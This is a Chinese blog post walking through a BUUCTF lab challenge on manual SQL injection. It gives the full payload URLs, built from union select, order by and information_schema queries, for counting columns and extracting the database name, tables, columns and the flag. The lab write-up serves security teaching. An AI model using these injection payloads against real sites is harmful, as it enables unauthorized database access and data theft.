[BUUCTF从零单排] Web方向 03.Web入门篇之sql注入-1(手工注入详解)

这是作者新开的一个专栏《BUUCTF从零单排》,旨在从零学习CTF知识,方便更多初学者了解各种类型的安全题目,后续分享一定程度会对不同类型的题目进行总结,并结合CTF书籍和真实案例实践,希望对您有所帮助。当然,也欢迎大家去BUUCTF网站实践,由于作者能力有限,该系列文章比较基础,写得不好的地方还请见谅,后续会持续深入,加油!

前文介绍了Web方向的基础题目——常见的搜集,该题目主要考察信息收集知识。这篇文章同样是Web方向的题目,主要介绍SQL注入内容——sql注入-1,第一篇详细讲解手工注入,后面再结合工具SQLMAP介绍。为了方便大家思考,文章摘要部分尽量少提,大家也可以先尝试实践,再看WriteUp。基础性文章,希望对您有所帮助,尤其是对网络安全工具的使用和理解。

  • 欢迎关注作者新建的『网络攻防和AI安全之家』知识星球(文章末尾)

前文赏析:


一.题目描述

该题目的具体描述如下:

  • 题目:[第一章 web入门]SQL注入-1
  • 方向:SQL注入
  • 来源:《从0到1:CTFer成长之路》书籍配套题目,来源网站:book.nu1l.com

在这里插入图片描述

在这里插入图片描述

接着解锁该题目并开启探索。

在这里插入图片描述

打开网站如下所示:

  • http://814d06ba-e597-4720-a213-6cda3204fa81.node5.buuoj.cn:81/

在这里插入图片描述

Happy
Why am I feeling so happy today? Well, I just got to spend three days with some of my very best friends having fun together. Yes, I am happy because I had so much fun, but I am also happier because of my connections to these people. Belonging to a community of people helps us feel connected to something greater than ourselves. Research has actually shown that people who are part of community have less stress, recover more quickly from illnesses, and have less chance of a mental illness.


二.解题思路

首先,由网页可知其是PHP网站。接着,打开该网页通过描述,可以知道该题目考察的是信息收集。作为初学者,我们第一想法是网站扫描和源码解析,如下图所示:

在这里插入图片描述

然后并没有太多信息,不过看到这种对话框显示内容,我们想到的也是SQL注入,通过不同参数调整来判断对话框中内容,并尝试将数据库的关键信息显示其中。

1.注入点判断

首先,通过输入不同的数字,我们可以看到其内容在发生改变。

index.php?id=2

在这里插入图片描述

在id=3时,系统会给出对应的提示“tips if too diffcult ,add &tips=1 to the url !”。

index.php?id=3

在这里插入图片描述

而当id大于等于4时,整个内容不再显示,典型的SQL注入题目

index.php?id=4

在这里插入图片描述

其次,我们需要判断注入点,并且判断是字符型注入还是数字型注入。

  • 数字型注入:先尝试判断是否为数字型注入。
index.php?id=1 and 1=2

分析:如果是数字型注入,对应的sql语句为:select * from notes where id =1 and 1=2。此时会出现报错提示,而当前页面未出现明显变化,因此不是数字型注入。接下来进行字符型注入判断。

在这里插入图片描述

  • 字符型注入:通过添加特定标点符号判断,发现其内容不再显示。
index.php?id=1'

分析:原因是对应的SQL语句闭合,即:select * from notes where id =‘1’。此时显示结果异常,进一步确定为字符型注入。

在这里插入图片描述

进一步修改URL:

index.php?id=1' and 1=2--+

此时对应的SQL语句如下,并出现报错信息,自此确定为字符型注入

select * from notes where id ='1' and 1=2 --+'; 

在这里插入图片描述


2.判断数据库字段

通常有两种方式判断数据库字段(column)数量。

方法一:利用union select实现

核心思想是利用联合查询构建SQL注入关键代码,判断其是否与id=1界面相同。

index.php?id=1' union select 1 --+

此时运行结果不同,异常显示。

在这里插入图片描述

当参数为3个时,发现其与id=1界面相同,如下图所示:

index.php?id=1' union select 1,2,3 --+

在这里插入图片描述

而当参数超过3个时,与id=1界面不同。

index.php?id=1' union select 1,2,3,4 --+

在这里插入图片描述

基于此,判断该条SQL语句的参数为3个。


方法二:利用order by实现

利用order by的差异判断出有3列数据。

index.php?id=1' order by 3 --+

在这里插入图片描述

其中,order by参数为3时正常显示,其它值均异常显示,因此判断参数为3个。

index.php?id=1' order by 4 --+

在这里插入图片描述


3.获取数据库名称

通过联合查询和关键函数database()获取数据库名称。

  • 注意:不同数据库的关键函数存在一定差异,读者可以自行学习和记录。

前面在参数判断中已经看到联合查询的SQL语句,其页面正常显示。

正常显示:
index.php?id=1' union select 1,2,3 --+

在这里插入图片描述

首先,将id参数修改为“-1”,可以查看对应的回显内容。通过该方式让SQL注入内容在该部分显示,比如当前显示的为“2、3”,对应第2、3个参数。后续利用回显位进行暴库。

异常显示:
index.php?id=-1' union select 1,2,3 --+

在这里插入图片描述

其次,构建SQL注入关键代码获取数据库名称。

index.php?id=-1' union select 1,database(),3 --+

对应的SQL语句为:

select * from notes where id ='1' union select 1,database(),3 --+'; 

显示结果可以看到数据库的名称为:

  • note

在这里插入图片描述


4.获取表名

获取表名的关键代码如下:

  • group_concat(table_name):用于获取数据库表的名称
  • information_schema.tables:提供了关于数据库中的表的信息
方法1:
index.php?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='note' --+

方法2:
index.php?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+

显示结果如下所示,其表名称为:

  • fl4g,notes

在这里插入图片描述

温馨提示:INFORMATION_SCHEMA 数据库是MySQL自带的,它提供了访问数据库 元数据的方式,元数据是关于数据的数据,如数据库名或表名、列的数据类型、或访问权限等。

在这里插入图片描述

接着分别获取两个表格信息,利用limit关键词实现。

index.php?id=-1' union select 1,database(),table_name from information_schema.tables where table_schema='note' limit 0,1 --+

index.php?id=-1' union select 1,database(),table_name from information_schema.tables where table_schema='note' limit 1,1 --+

分别显示两个表名称,通过分析fl4g表格更可能存储最终flag信息。

在这里插入图片描述

在这里插入图片描述


5.获取表中的字段名

获取表中字段名的关键代码如下:

  • group_concat(column_name):用于获取字段名称
  • information_schema.columns:提供了字段信息
index.php?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='fl4g' --+

温馨提示:GROUP_CONCAT函数是SQL中的一个聚合函数,它用于将来自某个分组的多个行的列值连接成一个单独的字符串。这个函数在处理如分类数据汇总、生成报表等场景时非常有用。

显示结果如下,表格fl4g中的字段为:

  • fllllag

在这里插入图片描述


6.获取字段的内容

获取字段内容的关键代码如下:

  • group_concat(fllllag):用于获取指定字段内容
index.php?id=-1' union select 1,group_concat(fllllag),3 FROM fl4g --+

最终flag如下:

  • n1book{union_select_is_so_cool}

在这里插入图片描述

在这里插入图片描述


三.探索扩展

请大家思考几个问题:

  • 第一,为什么在撰写SQL注入关键代码时,末尾需要添加一个加号或减号才能成功显示呢?这个希望知道的读者告知,非常感谢。
index.php?id=-1' union select 1,database(),3 -- -
index.php?id=-1' union select 1,database(),3 --+
index.php?id=-1' union select 1,database(),3 --'

为什么–后面必须要有空格,而#后面就不需要?
因为使用–注释时,需要使用空格,才能形成有效的sql语句,而#后面可以有空格,也可以没有,sql就是这么规定的,记住就行了。因为不加空格,–直接和系统自动生成的单引号连接在了一起,会被认为是一个关键词,无法注释掉系统自动生成的单引号。

  • 第二,该篇博客讲述的手工注入,很多关键代码需要大家牢记。那么,如何使用自动化工具实现对应功能呢?有什么方便的工具来实现SQL注入吗?

  • 第三,union select左右两边必须拥有相同数量的列。

  • 第四,在代码中id=1的主要原因是只需要判断,不需要展示值;id=-1 需要将union select获得的值展示出来。如果id=1,union select获得的值将无法展示出来。

  • 第五,上述注入代码通过“- -”注释来实现绕过闭合,同样“#”具有相同的功能。“#”在URL中不作为有效字符传入SQL语句中,故采用URL编码%23代替。

index.php?id=-3' union select 1,database(),@@version_compile_os %23&tips=1

在这里插入图片描述

  • 第六,在MYSQL5.0以上版本中,mysq1存在一个自带数据库名为 information_schema, 它是一个存储记录有所有数据库名,表名,列名的数据 库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。
    – information_schema.tables:记录所有表名信息的表
    – information_schema.columns:记录所有列名信息的表
    – table_name:表名
    – column_name:列名
    – table_schema:数据库名

四.总结

写到这里,这篇文章就介绍完毕,下一篇将介绍SQL基本用法。基础性文章,希望对您有所帮助。同时建议读者多实践,尝试各种类型的CTF题目。

2024年4月28日是Eastmount的安全星球——『网络攻防和AI安全之家』正式创建和运营的日子,该星球目前主营业务为 安全零基础答疑、安全技术分享、AI安全技术分享、AI安全论文交流、威胁情报每日推送、网络攻防技术总结、系统安全技术实战、面试求职、安全考研考博、简历修改及润色、学术交流及答疑、人脉触达、认知提升等。下面是星球的新人券,欢迎新老博友和朋友加入,一起分享更多安全知识,比较良心的星球,非常适合初学者和换安全专业的读者学习。

在这里插入图片描述
目前收到了很多博友、朋友和老师的支持和点赞,尤其是一些看了我文章多年的老粉,购买来感谢,真的很感动,类目。未来,我将分享更多高质量文章,更多安全干货,真心帮助到大家。虽然起步晚,但贵在坚持,像十多年如一日的博客分享那样,脚踏实地,只争朝夕。继续加油,再次感谢!

(By:Eastmount 2024-09-29 夜于贵阳 http://blog.csdn.net/eastmount/ )


参考《从0到1:CTFer成长之路》书籍和如下文献,推荐大家关注此书。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Eastmount

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值